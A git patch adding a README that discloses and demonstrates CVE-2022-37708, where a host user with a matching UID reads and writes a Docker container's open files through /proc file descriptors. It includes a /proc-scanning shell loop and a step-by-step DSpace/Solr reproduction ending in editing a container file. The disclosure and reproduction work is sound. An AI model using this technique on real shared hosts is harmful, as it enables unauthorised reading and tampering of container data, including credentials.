From 95a4e026a5098f62a647e948bb738550f9c91e88 Mon Sep 17 00:00:00 2001 From: Kevin Day <24626560+thekevinday@users.noreply.github.com> Date: Thu, 22 Sep 2022 18:56:43 -0500 Subject: [PATCH] Update README.md --- README.md | 199 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 197 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index f722991..7d75d82 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,197 @@ -# docker_lightman_exploit -Docker CVE-2022-37708 +# Docker Lightman Exploit +Docker CVE-2022-37708. + +This exploit relies on how the UNIX filesystem has UID and GID on files that Docker shares between the Host running the Docker and the Client being run within the Docker as well as relies on the nature of how Process ID ownership works. + +## The Problem in a nutshell. + - Docker directly maps the IDs from the shares within the Client to a private (and protected) directory on the "host system" (such as /var/lib/docker/volumes). + - Directory traversal to this path is properly restriced and is not the exploit here. + - These files have whatever UID and GID used within the system hosted within Docker (aka, the "client system"), regardless of whether or not the host system has or uses those UIDs/GIDs. + - If at any point in time a file is opened up inside the "client system", that file descriptor becomes available on the Host system (outside of the Client). + - The file descriptor for that file is owned by whatever UID, even if that UID doesn't exist on the Host system. + - If it just so happens that a non-root/non-privileged user on the Host system happens to have that UID, then that user can read and write to the file without needing directory traversal access to the file (or even needing to know the file location). + - A fully legitimate user can therefore PID dial (like war dialing), looking for open file descriptors for files. + +This can be done in virtually any language that provides file descriptors access. +The /proc/ directory happens to expose this, making this very easy to perform using a shell commands. + +## The Exploit +Consider a computer that is providing a e-mail service for multiple users. +This e-mail service is run inside a self-contained distribution running inside of Docker on the host. +The self-contained distribution is considered the "client system". +The system in which Docker is running on is considered the "host system". +The "host system" has different services on it, such as "DBUS" for providing a message-bus. +For security reasons, the "DBUS" message bus is run as an unprivileged user "messagebus" and has UID 123. +The "messagebus" user has no access to Docker and has no access to the "client system". +For security reasons, the "client system" runs the e-mail processing as a non-root user "emailservice" and has the UID 123. + +Notice how I designated the "messagebus" as having an UID of 123 and also the "emailservice" as having a UID 123. +This is not normally a problem because these are two separate systems (the "client system" and the "host system") and their UIDs and user mappings have no relationship to each other. + +If at any point in time the "emailservice" opens up a random e-mail to process, the "messagebus" would have the opportunity to both see and edit that file. Because the "messagebus" user is completely outside of the "client system", the "client system" would never know that this file is potentially being read and written to. + +This can be even more dangerous if the "emailservice" read the systems shadow file to validate some username and password combination. +The "messagebus" would then have full read and write access to the shadow file within the "client system" for the duration in time in which that file is open within the "client system". + +## Performing Exploit +An easy way to perform the exploit is to just PID dial the `/proc/` directory for pid files. +A simple bash script in an infinite loop can periodically look for files being opened. + +```shell +for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done +``` + +## Scope of Exploit +There are two critical parts of the exploit that makes it hard to exploit. +1. Time. The exploit is only applicable for the time in which a file is open within the "client system". +2. Luck. The exploit requires that the UID a file is opened with within the "client system" must match the UID of the user on the "host system". + +For the first case, an infinite loop and some script magic can alleviate this. +For the second case, a specially crafted distribution or a well known distribution can rule out the luck part. If a system has pre-defined UIDs then it should be possible to predict what UID outside of the "client system" is needed. + + +## Example Performing of the Exploit +Using Vagrant Debian-10 (Buster) virtual machine to run as the "host system" to test the explot: +``` +Vagrant.configure("2") do |config| + config.vm.box = "generic/debian10" + + config.vm.provider "virtualbox" do |vb| + vb.memory = 4096 + vb.cpus = 2 + vb.name = "Wargames" + end + + config.vm.synced_folder "/tmp/files", "/host" +end +``` + +Inside the "host system", get the latest version of Docker and follow the instructions here: +- https://docs.docker.com/engine/install/debian/ + +The example "client system" is an open-source product hosting on Github called DSpace that provides a docker-compose file: +- repository: https://github.com/DSpace/DSpace +- commit hash: a235551fabbb7e0b34b877e73704e8941a510cae + +Now clone Dspace, and run docker compose: +```shell +# git clone https://github.com/DSpace/DSpace.git +# cd DSpace +# docker compose up +``` + +There are several images created by this project, but lets focus on "dspace_solr_data". + +Lets confirm directory traversal is protected: +```shell +# sudo ls -ld /var/lib/docker +drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker +``` + +Lets look at the file I want to exploit: +```shell +# sudo find /var/lib/docker/volumes/ -name solr.xml +/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml +/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml +``` + +```shell +# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml) +-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml +-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml +``` + +This tells us that our lucky user needs to happen to have a UID of 8983 to be able to exploit this. + +Lets create this lucky user, and call him "Lightman". +```shell +# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman +``` + +Now lets look at those files: + +```shell +# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml) +-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml +-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml +``` + +For Lightman to exploit this, not only does Lightman have to own the files, some process __WITHIN__ the "client system" needs to have the file open. +For the purposes of proving this exploit, we are going to use `tail -F` on the `solr.xml` file inside of the "client system". + +Do this in a separate terminal, logged into the "host masystemchine" as the vagrant user. + +Figure out the correct container: +```shell +# docker ps -a +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +... +c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr +``` + +Now connect to `solr:8.11-slim`. +```shell +# docker run -it solr:8.11-slim bash +# id +uid=8983(solr) gid=8983(solr) groups=8983(solr) +``` + +The solr user does indeed have UID 8983. + +Now open the `solr.xml` file and keep it open. +```shell +# tail -F /var/solr/data/solr.xml +``` + +Great, everything is setup for this Lightman user to war dial the for file descriptors. + +In a separate terminal. logged into the "host system" as the vagrant user, switch to the Lightman user. +```shell +# sudo su - Lightman +# id +uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman) +``` + +Use `/proc` to dial all of the open file descriptors: +```shell +# ls /proc/*/fd/* -ld +lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0 +lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml +lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3 +``` + +As you can see, we have two matches: +```shell +lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml +lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify +``` + +Notice that the path `/var/solr/data/solr.xml` does not actually exist on the "host system". + +Pay close attention to the terminal that you are running `tail -F` on as you do this. +Edit the file by directly opening via the proc path: +```shell +# vim /proc/12683/fd/3 +``` + +I go to the bottom of the file, write `Hello World`, and save the change. +You should see, within the "client system", the file is also updated. + +Lightman has successfully edited a file that Lightman has no propery read/write access to nor has any file directory traversal access to. +The file is actually within a Docker client running under a different distribution that does not have a "Lightman" user on it. -- 1.8.3.1